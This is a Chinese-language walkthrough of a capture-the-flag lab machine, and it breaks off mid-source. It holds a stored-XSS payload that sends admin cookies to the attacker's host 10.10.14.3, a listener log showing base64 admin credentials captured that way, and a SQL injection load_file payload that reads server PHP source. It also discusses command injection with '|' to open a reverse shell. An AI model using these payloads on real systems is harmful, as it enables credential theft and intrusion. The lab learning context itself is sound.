nmap
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
| http-methods:
|_ Supported Methods: HEAD POST
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: ERROR: Script execution failed (use -d to debug)
| tls-alpn:
| http/1.1
| http/1.1
省略。。。
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
进入80,可以自己注册个号,那就试试
然后登录,可以开始购买&转比特币??
留言随便乱填。
提示:交易暂停。管理员会一分钟内审核,批准是否通过。
这就是个XSS漏洞偷cookie的提示了。一般来说ctf题里这个考点比较少。因为谁会给你在后台点,然后盗它的cookie之类的啊??
但是这里明确设定了这个机制并告诉你管理员会点。于是可以偷塔了!
方法有很多。
我自己在本机80里放一个邪恶js文件
命名getcookie.js文件,
function getCookie() {
var img = document.createElement("img");
img.src = "http://10.10.14.3/xss?=" + document.cookie;
document.body.appendChild(img);
}
getCookie();
然后在留言板里留言。或者用burp抓包,在burp里面留言,一样。
但是这有2个重点。首先填写界面里,第二栏的转给谁的id需要是存在的id?否则收不到???我试了试好像是这样。还不能瞎填,否则收不到。其次是转账金额要写三位数的??反正我试了几次,小额的都没反应。搞不懂。感觉这个功能很不稳定。多试几次才能收到。
用burp看,也可以看到每个号都是有id的
所以我注册了两个号。确保转向存在的id。to id 里输入存在的id,也就是我注册的另一号的id。输入金额里尽量填写大额。。。
然后在留言板里写
<script src="http://10.10.14.3/getcookie.js"></script>
多次试验后。接着就收到了
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.154 - - [16/Apr/2020 23:15:01] "GET /getcookie.js HTTP/1.1" 200 -
10.10.10.154 - - [16/Apr/2020 23:15:02] code 404, message File not found
10.10.10.154 - - [16/Apr/2020 23:15:02] "GET /xss?=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 404 -
10.10.10.154 - - [16/Apr/2020 23:16:46] "GET /getcookie.js HTTP/1.1" 200 -
把账号密码的base64拉去解密。
OK。
用管理员账号再次登录
上面的这个找user明显存在sql注入啊。。。
完整的sql注入和文件包含目录遍历思路在我这个靶机jarvis文章里写的很详细。可以参考,大同小异,方法简直一模一样。我这里就不多写了。
最后搞到密码,但是暂时也没卵用
不过注入过程中,发现数据库还有个叫backdoorcheck
并且网页中还有几个其他提示,比如note.txt,我门发现靶机里装了xampp。xampp是网站服务器管理工具,默认目录c:\xampp\htdocs\
网页最下面的backdoorchecker,说因为安全原因,,被黑客入侵过。所以要求输入dir,且只能是dir。且只能以靶机自己的localhost来输入。也就是我们虽然已是管路员,但我们的IP不是它的localhost,还是用不了。
我试了试dir 后面带& 和弹shell命令。提示不行。 用dir | 加 命令,又换了种提示,说只能localhost。
这是双重保护机制???
我现在想用dir加命令执行来弹shell到我本机。但是网站阻止了我。目前用 | 是可以的,但是我又不是localhost。
如何绕过并变成localhost,用靶机来执行弹shell命令呢?xsrf攻击?一些科普
它背后是否是php在执行,大胆猜测是否就是同名php:backdoorchecker.php?
既然我之前知道了xampp,那我就在注入时的文件包含目录遍历来看看,是否有这个php,在哪里,我好请求它
目前我们是admin,是否在admin目录里?我用dirbuster扫了下。打星号马赛克的是否是??
最后在网站sql注入了试了几次,显示不出来,光\htdocs没用,\htdocs\admin也不行,啥都没有,在burp上试了几次,终于还是burp靠谱是\htdocs\admin\backdoorchecker.php。。。出来源码
1' UNION SELECT 1,load_file('c:\\xampp\\htdocs\\admin\\backdoorchecker.php'),3;-- -
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)